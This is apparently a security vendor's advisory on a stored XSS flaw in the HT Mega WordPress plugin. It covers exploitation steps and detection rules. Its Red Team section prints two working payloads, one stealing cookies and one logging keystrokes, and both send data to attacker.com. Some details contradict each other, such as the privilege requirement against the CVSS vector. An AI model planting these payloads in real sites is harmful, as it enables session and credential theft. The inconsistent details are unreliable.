CVE-2024-30182

Executive Summary

CVE-2024-30182 is a stored Cross-Site Scripting (XSS) vulnerability in the HT Mega plugin for WordPress (ht-mega-for-elementor) developed by DevItems. This flaw affects all versions up to and including 2.4.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into pages built with Elementor. When a site administrator or visitor views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used to extend Elementor with additional widgets and features, making this a high-impact vector for supply chain attacks targeting WordPress sites.

Supply Chain & Package Security

HT Mega is distributed via the official WordPress Plugin Directory and is also available as a Composer package. The vulnerability affects all installations of the plugin up to version 2.4.3. Since no official patch has been released, site administrators must manually apply mitigations or remove the plugin until a fix is available. The lack of a patch increases the risk of exploitation in the wild, especially given the plugin's popularity.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit crafted page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction and the limited direct impact, but the potential for chaining with other vulnerabilities or social engineering increases the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the HT Mega plugin's handling of user input within Elementor widgets. Specifically, the plugin fails to sanitize or escape output when rendering certain dynamic content, such as widget titles, descriptions, or custom attributes. An attacker with contributor-level access can create or edit a post/page using an HT Mega widget and inject malicious JavaScript into a field that is later rendered without proper encoding.

The injection point is typically a text field that accepts HTML or shortcodes. The plugin does not apply WordPress's built-in esc_html() or wp_kses() functions before outputting the data, allowing arbitrary script tags to be stored in the database. When the page is loaded, the script executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new page or post and adds an HT Mega widget (e.g., "Heading" or "Info Box").
3. Injects a payload like <script>alert('XSS')</script> into a vulnerable field.
4. Publishes or saves the page as a draft.
5. Victim (admin or visitor) views the page.
6. Payload executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.3):

// In a widget render method
echo $settings['widget_title']; // Direct output without sanitization

Patched Code (Hypothetical):

// Properly escaped output
echo esc_html( $settings['widget_title'] );

The vulnerable code directly echoes user-controlled data without any escaping. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with HT Mega plugin <= 2.4.3
• Contributor-level account or higher
• Elementor page builder active

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Search for "HT Mega" widgets and drag one onto the canvas.
5. In the widget settings, locate a text field (e.g., "Title" or "Description").
6. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

7. Update and publish the page.
8. When an admin visits the page, the script sends their cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
  fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection & Prevention:

• Monitor for unusual widget content in Elementor pages.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Lab Setup for Testing:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Install Elementor and HT Mega plugin version 2.4.3.
3. Create a test page with a vulnerable widget.
4. Use browser developer tools to inspect the rendered output and confirm the XSS.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data.
• File: Modified WordPress posts/pages containing <script> tags in widget fields.
• Log: Unusual Elementor widget settings with HTML/JavaScript content.
• Database: Entries in wp_postmeta with meta_key containing _elementor_data and meta_value including script tags.

Example IOC in Database:

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%_elementor_data%' AND meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2024_30182_HT_Mega_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Mega plugin content"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30182"
    strings:
        $script = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-30182 HT Mega Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS in HT Mega plugin content
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '/wp-json/elementor/v1/'
            - '/wp-admin/admin-ajax.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30182 HT Mega Stored XSS Payload"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – only allow trusted administrators to use Elementor.
3. Apply virtual patching via WAF rules to block XSS patterns.

Long-Term Fix:

• Monitor the official plugin repository for a patched version (> 2.4.3).
• Once available, update to the latest version immediately.
• Consider using a security plugin like Wordfence to add an extra layer of protection.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin files to add esc_html() to all output functions. This is not recommended for non-developers.

Valters IT
Securing Digital Frontiers